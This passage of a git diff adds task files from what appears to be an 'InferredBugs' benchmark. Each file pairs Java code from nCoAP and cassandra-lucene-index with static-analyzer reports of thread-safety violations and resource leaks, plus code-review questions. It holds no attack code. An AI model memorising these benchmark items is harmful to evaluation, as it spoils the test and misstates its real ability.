+                        synchronized (incompleteResponseMonitor){
+                            if(incompleteResponsePayload.remove(new ByteArrayWrapper(token)) == null){
+                                log.error("This should never happen! No incomplete payload found for token " +
+                                    new ByteArrayWrapper(token).toHexString());
+                            }
+                            else{
+                                log.debug("Deleted not anymore incomplete payload for token " +
+                                        new ByteArrayWrapper(token).toHexString() + " from list");
+                            }
+                        }
+                        return;
+
+                    }
+                    else{
+                        final long receivedBlockNumber = response.getBlockNumber(BLOCK_2);
+
+                        log.debug("Block " + receivedBlockNumber + " for response with token " +
+                                new ByteArrayWrapper(token).toHexString() +
+                                "  received. Payload (still) incomplete.");
+
+                        CoapRequest nextCoapRequest = (CoapRequest) transfer.getCoapMessage();
+                        nextCoapRequest.setMessageID(-1);
+                        nextCoapRequest.setBlockOption(BLOCK_2, receivedBlockNumber + 1,
+                                                       false, response.getMaxBlocksizeForResponse());
+
+
+                        ChannelFuture future = Channels.future(me.getChannel());
+
+                        future.addListener(new ChannelFutureListener() {
+                            @Override
+                            public void operationComplete(ChannelFuture future) throws Exception {
+                                log.debug("Request for block " + (receivedBlockNumber + 1) + " for token " +
+                                    new ByteArrayWrapper(token).toHexString() + " sent succesfully.");
+
+                            }
+                        });
+                        MessageEvent event = new DownstreamMessageEvent(me.getChannel(),
+                                future, nextCoapRequest, me.getRemoteAddress());
+
+                        log.debug("Send request for block " + (receivedBlockNumber + 1) + " for token " +
+                                new ByteArrayWrapper(token).toHexString() + ".");
+
+                        ctx.sendDownstream(event);
+                        return;
+                    }
+                }
+                catch (InvalidOptionException e) {
+                    log.error("This should never happen!", e);
+                }
+                catch (MessageDoesNotAllowPayloadException e) {
+                    log.error("This should never happen!", e);
+                }
+                catch (ToManyOptionsException e){
+                    log.error("This should never happen!", e);
+                }
+                catch (InvalidHeaderException e) {
+                    log.error("This should never happen!", e);
+                }
+            }
+        }
+
+        ctx.sendUpstream(me);
+    }
+
+    private void errorMessageReceived(ChannelHandlerContext ctx, MessageEvent me){
+        CoapMessage coapMessage = (CoapMessage) me.getMessage();
+        synchronized (incompleteResponseMonitor){
+            incompleteResponsePayload.remove(coapMessage.getToken());
+        }
+        ctx.sendUpstream(me);
+    }
+
+    private class BlockwiseTransfer {
+
+        private CoapMessage coapMessage;
+        private ChannelBuffer partialPayload;
+        private int nextBlockNumber = 0;
+
+        public BlockwiseTransfer(CoapMessage coapMessage, ChannelBuffer partialPayload){
+           this.coapMessage = coapMessage;
+           this.partialPayload = partialPayload;
+        }
+
+        public CoapMessage getCoapMessage() throws InvalidHeaderException {
+            return coapMessage;
+        }
+
+        public ChannelBuffer getPartialPayload() {
+            return partialPayload;
+        }
+
+        public void setNextBlockNumber(int nextBlockNumber){
+            this.nextBlockNumber = nextBlockNumber;
+        }
+
+        public int getNextBlockNumber(){
+            return this.nextBlockNumber;
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `de.uniluebeck.itm.spitfire.nCoap.communication.blockwise.BlockwiseTransferHandler.messageReceived` indirectly writes to field `response.de.uniluebeck.itm.spitfire.nCoap.message.CoapMessage.payload` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path response has been contaminated during the execution, so the reported race on response.de.uniluebeck.itm.spitfire.nCoap.message.CoapMessage.payload might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BlockwiseTransferHandler.messageReceived(ChannelHandlerContext,MessageEvent)
+
+### Procedure Id:
+de.uniluebeck.itm.spitfire.nCoap.communication.blockwise.BlockwiseTransferHandler.messageReceived(or.34a7450d3fa81d4a967b1800e6cae7ad
+
+### File:
+src/main/java/de/uniluebeck/itm/spitfire/nCoap/communication/blockwise/BlockwiseTransferHandler.java
+
+### Key:
+BlockwiseTransferHandler.java|messageReceived|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+c725632ad8d8f5635f236a5e0316dc6c
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7545/instruction.md b/inferredbugs-7545/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b92d01d3e58ed6f63051478068075728bb6d03cb
--- /dev/null
+++ b/inferredbugs-7545/instruction.md
@@ -0,0 +1,334 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nCoAP
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package de.uniluebeck.itm.spitfire.nCoap.communication.blockwise;
+
+import de.uniluebeck.itm.spitfire.nCoap.message.CoapMessage;
+import de.uniluebeck.itm.spitfire.nCoap.message.CoapRequest;
+import de.uniluebeck.itm.spitfire.nCoap.message.CoapResponse;
+import de.uniluebeck.itm.spitfire.nCoap.message.MessageDoesNotAllowPayloadException;
+import de.uniluebeck.itm.spitfire.nCoap.message.header.InvalidHeaderException;
+import de.uniluebeck.itm.spitfire.nCoap.message.header.MsgType;
+import de.uniluebeck.itm.spitfire.nCoap.message.options.InvalidOptionException;
+import de.uniluebeck.itm.spitfire.nCoap.message.options.ToManyOptionsException;
+import de.uniluebeck.itm.spitfire.nCoap.toolbox.ByteArrayWrapper;
+import org.jboss.netty.buffer.ChannelBuffer;
+import org.jboss.netty.buffer.ChannelBuffers;
+import org.jboss.netty.channel.*;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.HashMap;
+
+import static de.uniluebeck.itm.spitfire.nCoap.message.options.OptionRegistry.OptionName.BLOCK_2;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: olli
+ * Date: 12.09.12
+ * Time: 17:50
+ * To change this template use File | Settings | File Templates.
+ */
+public class BlockwiseTransferHandler extends SimpleChannelHandler{
+
+    private static Logger log = LoggerFactory.getLogger(BlockwiseTransferHandler.class.getName());
+
+    private Object incompleteResponseMonitor = new Object();
+    private Object incompleteRequestMonitor = new Object();
+
+    private HashMap<ByteArrayWrapper, BlockwiseTransfer> incompleteResponsePayload =
+            new HashMap<ByteArrayWrapper, BlockwiseTransfer>();
+
+    private HashMap<ByteArrayWrapper, ChannelBuffer> incompleteRequestPayload =
+            new HashMap<ByteArrayWrapper, ChannelBuffer>();
+
+    private static BlockwiseTransferHandler instance = new BlockwiseTransferHandler();
+
+    private BlockwiseTransferHandler(){
+
+    }
+
+    public static BlockwiseTransferHandler getInstance(){
+        return instance;
+    }
+
+    @Override
+    public void writeRequested(ChannelHandlerContext ctx, MessageEvent me){
+        if(!(me.getMessage() instanceof CoapMessage)){
+            ctx.sendDownstream(me);
+            return;
+        }
+
+        if(me.getMessage() instanceof CoapRequest){
+            CoapRequest request = (CoapRequest) me.getMessage();
+            byte[] token = request.getToken();
+
+            //There was no ResponseCallback attached to the response and thus there is no token
+            if(token.length == 0){
+                ctx.sendDownstream(me);
+                return;
+            }
+
+            BlockwiseTransfer transfer =
+                    new BlockwiseTransfer(request, ChannelBuffers.dynamicBuffer());
+
+            synchronized (incompleteResponseMonitor){
+                incompleteResponsePayload.put(new ByteArrayWrapper(token), transfer);
+            }
+
+            ctx.sendDownstream(me);
+
+            //TODO handle blockwise transfer for outgoing requests with payload
+
+        }
+        else{
+            //TODO handle blockwise transfer for outgoing responses with payload
+            ctx.sendDownstream(me);
+        }
+
+
+    }
+
+    @Override
+    public void messageReceived(ChannelHandlerContext ctx, MessageEvent me){
+        if(!(me.getMessage() instanceof CoapMessage)){
+            ctx.sendUpstream(me);
+            return;
+        }
+
+        CoapMessage coapMessage = (CoapMessage) me.getMessage();
+        if(coapMessage.getCode().isError() || coapMessage.getMessageType().equals(MsgType.RST)){
+            errorMessageReceived(ctx, me);
+            return;
+        }
+
+        if(me.getMessage() instanceof CoapResponse){
+            CoapResponse response = (CoapResponse) me.getMessage();
+
+            final byte[] token = response.getToken();
+
+            BlockwiseTransfer transfer;
+            //Add latest received payload to already received payload
+            synchronized (incompleteResponseMonitor){
+                transfer = incompleteResponsePayload.get(new ByteArrayWrapper(token));
+                if(transfer != null){
+                    try {
+                        if(response.getBlockNumber(BLOCK_2) == transfer.getNextBlockNumber()){
+                            log.debug("Received response (Token: " + (new ByteArrayWrapper(token).toHexString()) +
+                                      " , Block: " + response.getBlockNumber(BLOCK_2) + "), ");
+
+                            if (log.isDebugEnabled()){
+                                //Copy Payload
+                                ChannelBuffer payloadCopy = ChannelBuffers.copiedBuffer(response.getPayload());
+                                byte[] bytes = new byte[payloadCopy.readableBytes()];
+                                payloadCopy.getBytes(0, bytes);
+                                log.debug("Payload Hex: " + new ByteArrayWrapper(bytes).toHexString());
+                            }
+
+                            transfer.getPartialPayload()
+                                    .writeBytes(response.getPayload(), 0, response.getPayload().readableBytes());
+                            transfer.setNextBlockNumber(transfer.getNextBlockNumber() + 1);
+                        }
+                        else{
+                            log.debug("Received unexpected response (Token: " + (new ByteArrayWrapper(token).toHexString()) +
+                                   " , Block: " + response.getBlockNumber(BLOCK_2) + "). IGNORE!");
+                            me.getFuture().setSuccess();
+                            return;
+                        }
+                    }
+                    catch (InvalidOptionException e) {
+                        log.error("This should never happen!", e);
+                    }
+                }
+            }
+
+            //Check whether payload of the response is complete
+            if(transfer != null){
+                try {
+                    if(response.isLastBlock(BLOCK_2)){
+
+                        //Send response with complete payload to application
+                        log.debug("Block " + response.getBlockNumber(BLOCK_2) + " for response with token " +
+                                new ByteArrayWrapper(token).toHexString() +
+                                "  received. Payload complete. Forward to client application.");
+
+                        response.getOptionList().removeAllOptions(BLOCK_2);
+
+                        response.setPayload(transfer.getPartialPayload());
+                        MessageEvent event = new UpstreamMessageEvent(me.getChannel(), response, me.getRemoteAddress());
+                        ctx.sendUpstream(event);
+
+                        synchronized (incompleteResponseMonitor){
+                            if(incompleteResponsePayload.remove(new ByteArrayWrapper(token)) == null){
+                                log.error("This should never happen! No incomplete payload found for token " +
+                                    new ByteArrayWrapper(token).toHexString());
+                            }
+                            else{
+                                log.debug("Deleted not anymore incomplete payload for token " +
+                                        new ByteArrayWrapper(token).toHexString() + " from list");
+                            }
+                        }
+                        return;
+
+                    }
+                    else{
+                        final long receivedBlockNumber = response.getBlockNumber(BLOCK_2);
+
+                        log.debug("Block " + receivedBlockNumber + " for response with token " +
+                                new ByteArrayWrapper(token).toHexString() +
+                                "  received. Payload (still) incomplete.");
+
+                        CoapRequest nextCoapRequest = (CoapRequest) transfer.getCoapMessage();
+                        nextCoapRequest.setMessageID(-1);
+                        nextCoapRequest.setBlockOption(BLOCK_2, receivedBlockNumber + 1,
+                                                       false, response.getMaxBlocksizeForResponse());
+
+
+                        ChannelFuture future = Channels.future(me.getChannel());
+
+                        future.addListener(new ChannelFutureListener() {
+                            @Override
+                            public void operationComplete(ChannelFuture future) throws Exception {
+                                log.debug("Request for block " + (receivedBlockNumber + 1) + " for token " +
+                                    new ByteArrayWrapper(token).toHexString() + " sent succesfully.");
+
+                            }
+                        });
+                        MessageEvent event = new DownstreamMessageEvent(me.getChannel(),
+                                future, nextCoapRequest, me.getRemoteAddress());
+
+                        log.debug("Send request for block " + (receivedBlockNumber + 1) + " for token " +
+                                new ByteArrayWrapper(token).toHexString() + ".");
+
+                        ctx.sendDownstream(event);
+                        return;
+                    }
+                }
+                catch (InvalidOptionException e) {
+                    log.error("This should never happen!", e);
+                }
+                catch (MessageDoesNotAllowPayloadException e) {
+                    log.error("This should never happen!", e);
+                }
+                catch (ToManyOptionsException e){
+                    log.error("This should never happen!", e);
+                }
+                catch (InvalidHeaderException e) {
+                    log.error("This should never happen!", e);
+                }
+            }
+        }
+
+        ctx.sendUpstream(me);
+    }
+
+    private void errorMessageReceived(ChannelHandlerContext ctx, MessageEvent me){
+        CoapMessage coapMessage = (CoapMessage) me.getMessage();
+        synchronized (incompleteResponseMonitor){
+            incompleteResponsePayload.remove(coapMessage.getToken());
+        }
+        ctx.sendUpstream(me);
+    }
+
+    private class BlockwiseTransfer {
+
+        private CoapMessage coapMessage;
+        private ChannelBuffer partialPayload;
+        private int nextBlockNumber = 0;
+
+        public BlockwiseTransfer(CoapMessage coapMessage, ChannelBuffer partialPayload){
+           this.coapMessage = coapMessage;
+           this.partialPayload = partialPayload;
+        }
+
+        public CoapMessage getCoapMessage() throws InvalidHeaderException {
+            return coapMessage;
+        }
+
+        public ChannelBuffer getPartialPayload() {
+            return partialPayload;
+        }
+
+        public void setNextBlockNumber(int nextBlockNumber){
+            this.nextBlockNumber = nextBlockNumber;
+        }
+
+        public int getNextBlockNumber(){
+            return this.nextBlockNumber;
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `de.uniluebeck.itm.spitfire.nCoap.communication.blockwise.BlockwiseTransferHandler.messageReceived` indirectly reads with synchronization from `response.de.uniluebeck.itm.spitfire.nCoap.message.CoapMessage.payload`. Potentially races with unsynchronized write in method `BlockwiseTransferHandler.messageReceived(...)`.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path response has been contaminated during the execution, so the reported race on response.de.uniluebeck.itm.spitfire.nCoap.message.CoapMessage.payload might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BlockwiseTransferHandler.messageReceived(ChannelHandlerContext,MessageEvent)
+
+### Procedure Id:
+de.uniluebeck.itm.spitfire.nCoap.communication.blockwise.BlockwiseTransferHandler.messageReceived(or.34a7450d3fa81d4a967b1800e6cae7ad
+
+### File:
+src/main/java/de/uniluebeck/itm/spitfire/nCoap/communication/blockwise/BlockwiseTransferHandler.java
+
+### Key:
+BlockwiseTransferHandler.java|messageReceived|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+194d30cbec765ce984ce867e789ce682
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7572/instruction.md b/inferredbugs-7572/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c7b32202025a41e9afd5f8d1768b6b63eb150b7e
--- /dev/null
+++ b/inferredbugs-7572/instruction.md
@@ -0,0 +1,233 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** cassandra-lucene-index
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015, Stratio.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.stratio.cassandra.lucene.service;
+
+import com.google.common.collect.Sets;
+import com.stratio.cassandra.lucene.IndexConfig;
+import org.apache.lucene.analysis.standard.StandardAnalyzer;
+import org.apache.lucene.document.Document;
+import org.apache.lucene.document.Field;
+import org.apache.lucene.document.SortedDocValuesField;
+import org.apache.lucene.document.StringField;
+import org.apache.lucene.index.Term;
+import org.apache.lucene.search.IndexSearcher;
+import org.apache.lucene.search.Query;
+import org.apache.lucene.search.ScoreDoc;
+import org.apache.lucene.search.SearcherManager;
+import org.apache.lucene.search.Sort;
+import org.apache.lucene.search.SortField;
+import org.apache.lucene.search.TermQuery;
+import org.apache.lucene.search.WildcardQuery;
+import org.apache.lucene.util.BytesRef;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
+
+import java.io.IOException;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Map;
+import java.util.Set;
+import java.util.UUID;
+
+import static junit.framework.Assert.assertEquals;
+
+/**
+ * @author Andres de la Pena {@literal <adelapena@stratio.com>}
+ */
+public class LuceneIndexTest {
+
+    private static final Double REFRESH_SECONDS = 0.1D;
+    private static final int REFRESH_MILLISECONDS = (int) (REFRESH_SECONDS * 1000);
+    private static final int WAIT_MILLISECONDS = REFRESH_MILLISECONDS * 2;
+
+    @Rule
+    public TemporaryFolder folder = new TemporaryFolder();
+
+    @Test
+    public void testCRUD() throws IOException, InterruptedException {
+
+        Path path = Paths.get(folder.newFolder("directory" + UUID.randomUUID()).getPath());
+        LuceneIndex index = new LuceneIndex("ks",
+                                            "cf",
+                                            "idx",
+                                            path,
+                                            IndexConfig.DEFAULT_RAM_BUFFER_MB,
+                                            IndexConfig.DEFAULT_MAX_MERGE_MB,
+                                            IndexConfig.DEFAULT_MAX_CACHED_MB,
+                                            new StandardAnalyzer(),
+                                            REFRESH_SECONDS,
+                                            null);
+        Sort sort = new Sort(new SortField("field", SortField.Type.STRING));
+        index.init(sort);
+        assertEquals(0, index.getNumDocs());
+
+        Term term1 = new Term("field", "value1");
+        Document document1 = new Document();
+        document1.add(new StringField("field", "value1", Field.Store.NO));
+        document1.add(new SortedDocValuesField("field", new BytesRef("value1")));
+        index.upsert(term1, document1);
+
+        Term term2 = new Term("field", "value2");
+        Document document2 = new Document();
+        document2.add(new StringField("field", "value2", Field.Store.NO));
+        document2.add(new SortedDocValuesField("field", new BytesRef("value2")));
+        index.upsert(term2, document2);
+
+        index.commit();
+        Thread.sleep(REFRESH_MILLISECONDS);
+        assertEquals(2, index.getNumDocs());
+
+        Query query = new WildcardQuery(new Term("field", "value*"));
+        Set<String> fields = Sets.newHashSet("field");
+        Map<Document, ScoreDoc> results;
+
+        // Search
+        SearcherManager searcherManager = index.getSearcherManager();
+        IndexSearcher searcher = searcherManager.acquire();
+
+        try {
+            results = index.search(searcher, query, null, null, 1, fields, true);
+            assertEquals(1, results.size());
+            ScoreDoc last1 = results.values().iterator().next();
+            results = index.search(searcher, query, null, last1, 1, fields, true);
+            assertEquals(1, results.size());
+
+            results = index.search(searcher, query, null, null, 1, fields, false);
+            assertEquals(1, results.size());
+            ScoreDoc last2 = results.values().iterator().next();
+            results = index.search(searcher, query, null, last2, 1, fields, false);
+            assertEquals(1, results.size());
+
+            results = index.search(searcher, query, sort, null, 1, fields, false);
+            assertEquals(1, results.size());
+            ScoreDoc last3 = results.values().iterator().next();
+            results = index.search(searcher, query, sort, last3, 1, fields, false);
+            assertEquals(1, results.size());
+        } finally {
+            searcherManager.release(searcher);
+        }
+
+        // Delete by term
+        index.delete(term1);
+        index.commit();
+        Thread.sleep(WAIT_MILLISECONDS);
+        assertEquals(1, index.getNumDocs());
+
+        // Delete by query
+        index.upsert(term1, document1);
+        index.commit();
+        Thread.sleep(WAIT_MILLISECONDS);
+        assertEquals(2, index.getNumDocs());
+        index.delete(new TermQuery(term1));
+        Thread.sleep(WAIT_MILLISECONDS);
+        assertEquals(1, index.getNumDocs());
+
+        // Upsert
+        index.upsert(term1, document1);
+        index.upsert(term2, document2);
+        index.upsert(term2, document2);
+        index.commit();
+        Thread.sleep(WAIT_MILLISECONDS);
+        assertEquals(2, index.getNumDocs());
+
+        // Truncate
+        index.truncate();
+        index.commit();
+        Thread.sleep(WAIT_MILLISECONDS);
+        assertEquals(0, index.getNumDocs());
+
+        // Delete
+        index.delete();
+
+        // Cleanup
+        folder.delete();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.lucene.search.ControlledRealTimeReopenThread` acquired by call to `init(...)` at line 75 is not released after line 154.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void LuceneIndexTest.testCRUD()
+
+### Procedure Id:
+com.stratio.cassandra.lucene.service.LuceneIndexTest.testCRUD():void.1bbcb2907f29e6698142797f4ed9a5bb
+
+### File:
+plugin/src/test/java/com/stratio/cassandra/lucene/service/LuceneIndexTest.java
+
+### Key:
+LuceneIndexTest.java|testCRUD|RESOURCE_LEAK
+
+### Node Key:
+51cbdc235541c090ef1fc6256c2c0426
+
+### Hash:
+49e41ce0af557820b53912b147735553
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7573/instruction.md b/inferredbugs-7573/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ce6b0d1782a77d1b05352ada56a736c558dca9ba
--- /dev/null
+++ b/inferredbugs-7573/instruction.md
@@ -0,0 +1,381 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** cassandra-lucene-index
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015, Stratio.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.stratio.cassandra.lucene.schema;
+
+import com.stratio.cassandra.lucene.schema.analysis.PreBuiltAnalyzers;
+import com.stratio.cassandra.lucene.schema.mapping.ColumnMapper;
+import com.stratio.cassandra.lucene.schema.mapping.ColumnMapperInteger;
+import com.stratio.cassandra.lucene.schema.mapping.ColumnMapperText;
+import com.stratio.cassandra.lucene.schema.mapping.builder.ColumnMapperBuilder;
+import com.stratio.cassandra.lucene.schema.mapping.builder.ColumnMapperIntegerBuilder;
+import com.stratio.cassandra.lucene.schema.mapping.builder.ColumnMapperStringBuilder;
+import com.stratio.cassandra.lucene.util.JsonSerializer;
+import org.apache.cassandra.config.CFMetaData;
+import org.apache.cassandra.db.marshal.AsciiType;
+import org.apache.cassandra.db.marshal.IntegerType;
+import org.apache.cassandra.db.marshal.LongType;
+import org.apache.cassandra.db.marshal.UTF8Type;
+import org.apache.cassandra.exceptions.ConfigurationException;
+import org.apache.cassandra.exceptions.InvalidRequestException;
+import org.apache.cassandra.thrift.CfDef;
+import org.apache.cassandra.thrift.ColumnDef;
+import org.apache.cassandra.thrift.IndexType;
+import org.apache.cassandra.utils.ByteBufferUtil;
+import org.apache.lucene.analysis.Analyzer;
+import org.apache.lucene.analysis.en.EnglishAnalyzer;
+import org.apache.lucene.analysis.es.SpanishAnalyzer;
+import org.apache.lucene.document.Document;
+import org.codehaus.jackson.map.JsonMappingException;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static org.junit.Assert.*;
+
+/**
+ * @author Andres de la Pena <adelapena@stratio.com>
+ */
+public class SchemaTest {
+
+    @Test
+    public void testGetDefaultAnalyzer() {
+        Map<String, ColumnMapperBuilder> columnMappers = new HashMap<>();
+        Schema schema = new Schema(columnMappers, null, "English");
+        Analyzer analyzer = schema.getDefaultAnalyzer();
+        assertEquals(EnglishAnalyzer.class, analyzer.getClass());
+        schema.close();
+    }
+
+    @Test
+    public void testGetDefaultAnalyzerNotSpecified() {
+        Map<String, ColumnMapperBuilder> columnMappers = new HashMap<>();
+        Schema schema = new Schema(columnMappers, null, null);
+        Analyzer analyzer = schema.getDefaultAnalyzer();
+        assertEquals(PreBuiltAnalyzers.DEFAULT.get(), analyzer);
+        schema.close();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testGetAnalyzerNotExistent() {
+        Map<String, ColumnMapperBuilder> columnMappers = new HashMap<>();
+        Schema schema = new Schema(columnMappers, null, "English");
+        schema.getAnalyzer("custom");
+        schema.close();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testGetAnalyzerNull() {
+        Map<String, ColumnMapperBuilder> columnMappers = new HashMap<>();
+        Schema schema = new Schema(columnMappers, null, "English");
+        schema.getAnalyzer(null);
+        schema.close();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testGetAnalyzerEmpty() {
+        Map<String, ColumnMapperBuilder> columnMappers = new HashMap<>();
+        Schema schema = new Schema(columnMappers, null, "English");
+        schema.getAnalyzer(" \t");
+        schema.close();
+    }
+
+    @Test
+    public void testParseJSON() throws IOException {
+
+        String json = "{" +
+                      "  analyzers:{" +
+                      "    spanish_analyzer : {type:\"classpath\", " +
+                      "                        class:\"org.apache.lucene.analysis.es.SpanishAnalyzer\"}," +
+                      "    snowball_analyzer : {type:\"snowball\", " +
+                      "                         language:\"Spanish\", " +
+                      "                         stopwords : \"el,la,lo,loas,las,a,ante,bajo,cabe,con,contra\"}" +
+                      "  }," +
+                      "  default_analyzer : \"spanish_analyzer\"," +
+                      "  fields : {" +
+                      "    id : {type : \"integer\"}," +
+                      "    spanish_text : {type:\"text\", analyzer:\"spanish_analyzer\"}," +
+                      "    snowball_text : {type:\"text\", analyzer:\"snowball_analyzer\"}" +
+                      "  }" +
+                      " }'";
+
+        Schema schema = JsonSerializer.fromString(json, Schema.class);
+
+        Analyzer defaultAnalyzer = schema.getDefaultAnalyzer();
+        assertTrue(defaultAnalyzer instanceof SpanishAnalyzer);
+
+        Analyzer spanishAnalyzer = schema.getAnalyzer("spanish_analyzer");
+        assertTrue(spanishAnalyzer instanceof SpanishAnalyzer);
+
+        ColumnMapper idMapper = schema.getMapper("id");
+        assertTrue(idMapper instanceof ColumnMapperInteger);
+
+        ColumnMapper spanishMapper = schema.getMapper("spanish_text");
+        assertTrue(spanishMapper instanceof ColumnMapperText);
+        assertEquals("spanish_analyzer", spanishMapper.getAnalyzer());
+
+        ColumnMapper snowballMapper = schema.getMapper("snowball_text");
+        assertTrue(snowballMapper instanceof ColumnMapperText);
+        assertEquals("snowball_analyzer", snowballMapper.getAnalyzer());
+
+        schema.close();
+    }
+
+    @Test
+    public void testParseJSONWithNullAnalyzers() throws IOException {
+
+        String json = "{" +
+                      "  default_analyzer : \"org.apache.lucene.analysis.en.EnglishAnalyzer\"," +
+                      "  fields : {" +
+                      "    id : {type : \"integer\"}," +
+                      "    spanish_text : {" +
+                      "      type:\"text\", " +
+                      "      analyzer:\"org.apache.lucene.analysis.es.SpanishAnalyzer\"}," +
+                      "    snowball_text : {" +
+                      "      type:\"text\", " +
+                      "      analyzer:\"org.apache.lucene.analysis.en.EnglishAnalyzer\"}" +
+                      "  }" +
+                      " }'";
+
+        Schema schema = JsonSerializer.fromString(json, Schema.class);
+
+        Analyzer defaultAnalyzer = schema.getDefaultAnalyzer();
+        assertTrue(defaultAnalyzer instanceof EnglishAnalyzer);
+
+        ColumnMapper idMapper = schema.getMapper("id");
+        assertTrue(idMapper instanceof ColumnMapperInteger);
+
+        ColumnMapper spanishMapper = schema.getMapper("spanish_text");
+        assertTrue(spanishMapper instanceof ColumnMapperText);
+        assertEquals(SpanishAnalyzer.class.getName(), spanishMapper.getAnalyzer());
+
+        ColumnMapper snowballMapper = schema.getMapper("snowball_text");
+        assertTrue(snowballMapper instanceof ColumnMapperText);
+        assertEquals(EnglishAnalyzer.class.getName(), snowballMapper.getAnalyzer());
+
+        schema.close();
+    }
+
+    @Test
+    public void testParseJSONWithEmptyAnalyzers() throws IOException {
+
+        String json = "{" +
+                      "  analyzers:{}, " +
+                      "  default_analyzer : \"org.apache.lucene.analysis.en.EnglishAnalyzer\"," +
+                      "  fields : {" +
+                      "    id : {type : \"integer\"}," +
+                      "    spanish_text : {type:\"text\", " +
+                      "                    analyzer:\"org.apache.lucene.analysis.es.SpanishAnalyzer\"}," +
+                      "    snowball_text : {type:\"text\", " +
+                      "                     analyzer:\"org.apache.lucene.analysis.en.EnglishAnalyzer\"}" +
+                      "  }" +
+                      " }'";
+
+        Schema schema = JsonSerializer.fromString(json, Schema.class);
+
+        Analyzer defaultAnalyzer = schema.getDefaultAnalyzer();
